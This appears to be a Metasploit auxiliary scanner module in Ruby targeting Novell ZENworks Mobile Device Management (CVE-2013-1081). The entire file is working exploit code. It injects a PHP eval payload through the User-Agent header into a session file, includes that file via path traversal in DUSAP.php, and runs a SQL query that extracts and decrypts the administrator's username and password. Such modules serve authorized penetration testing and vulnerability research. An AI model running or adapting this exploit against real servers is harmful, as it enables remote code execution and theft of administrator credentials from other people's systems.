123 lines
3.8 KiB
Ruby
123 lines
3.8 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Novell Zenworks Mobile Device Managment Admin Credentials',
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'Description' => %q{
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This module attempts to pull the administrator credentials from
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a vulnerable Novell Zenworks MDM server.
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},
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'Author' =>
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[
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'steponequit',
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'Andrea Micalizzi (aka rgod)' #zdireport
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],
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'References' =>
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[
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['CVE', '2013-1081'],
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['OSVDB', '91119'],
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['URL', 'http://www.novell.com/support/kb/doc.php?id=7011895']
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],
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'License' => MSF_LICENSE
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)
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register_options([
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OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/'])
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], self.class)
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register_advanced_options([
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OptBool.new('SSL', [true, "Negotiate SSL connection", false])
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], self.class)
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end
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def setup_session()
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sess = Rex::Text.rand_text_alpha(8)
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cmd = Rex::Text.rand_text_alpha(8)
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res = send_request_cgi({
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'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>",
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'method' => "HEAD",
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'uri' => normalize_uri("#{target_uri.path}", "download.php"),
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'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
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})
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return sess,cmd
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end
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def get_creds(session_id,cmd_var)
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cmd = '$pass=mdm_ExecuteSQLQuery('
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cmd << '"SELECT UserName,Password FROM Administrators where AdministratorSAKey = 1"'
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cmd << ',array(),false,-1,"","","",QUERY_TYPE_SELECT);'
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cmd << 'echo "".$pass[0]["UserName"].":".mdm_DecryptData($pass[0]["Password"])."";'
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("#{target_uri.path}", "DUSAP.php"),
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'vars_get' => {
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'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
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cmd_var => cmd
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}
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})
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if res.nil?
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print_error("Connection timed out")
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return "", "" # Empty username & password
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end
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creds = res.body.to_s.match(/.*:"(.*)";.*";/)[1]
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return creds.split(":")
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end
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def run_host(ip)
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print_status("Verifying that Zenworks login page exists at #{ip}")
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uri = normalize_uri(target_uri.path)
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begin
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res = send_request_raw({
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'method' => 'GET',
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'uri' => uri
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})
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if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
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print_status("Found Zenworks MDM, Checking application version")
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ver = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
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print_status("Found Version #{ver}")
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session_id,cmd = setup_session()
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user,pass = get_creds(session_id,cmd)
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return if user.empty? and pass.empty?
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print_good("Got creds. Login:#{user} Password:#{pass}")
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print_good("Access the admin interface here: #{ip}:#{rport}#{target_uri.path}dashboard/")
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report_auth_info(
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:host => ip,
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:port => rport,
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:sname => "novellmdm",
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:user => user,
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:pass => pass,
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:active => true
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)
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else
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print_error("Zenworks MDM does not appear to be running at #{ip}")
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return :abort
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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rescue ::OpenSSL::SSL::SSLError => e
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return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
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end
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end
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end
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